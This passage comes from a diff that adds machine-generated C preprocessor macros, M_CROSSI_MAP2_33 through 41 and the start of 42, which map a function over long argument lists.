M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) 
+#define M_CROSSI_MAP2_33(...) M_CROSSI_MAP2_33b(__VA_ARGS__)
+#define M_CROSSI_MAP2_33b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) 
+#define M_CROSSI_MAP2_34(...) M_CROSSI_MAP2_34b(__VA_ARGS__)
+#define M_CROSSI_MAP2_34b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) 
+#define M_CROSSI_MAP2_35(...) M_CROSSI_MAP2_35b(__VA_ARGS__)
+#define M_CROSSI_MAP2_35b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) 
+#define M_CROSSI_MAP2_36(...) M_CROSSI_MAP2_36b(__VA_ARGS__)
+#define M_CROSSI_MAP2_36b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) 
+#define M_CROSSI_MAP2_37(...) M_CROSSI_MAP2_37b(__VA_ARGS__)
+#define M_CROSSI_MAP2_37b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) 
+#define M_CROSSI_MAP2_38(...) M_CROSSI_MAP2_38b(__VA_ARGS__)
+#define M_CROSSI_MAP2_38b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) 
+#define M_CROSSI_MAP2_39(...) M_CROSSI_MAP2_39b(__VA_ARGS__)
+#define M_CROSSI_MAP2_39b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) 
+#define M_CROSSI_MAP2_40(...) M_CROSSI_MAP2_40b(__VA_ARGS__)
+#define M_CROSSI_MAP2_40b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) 
+#define M_CROSSI_MAP2_41(...) M_CROSSI_MAP2_41b(__VA_ARGS__)
+#define M_CROSSI_MAP2_41b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) 
+#define M_CROSSI_MAP2_42(...) M_CROSSI_MAP2_42b(__VA_ARGS__)
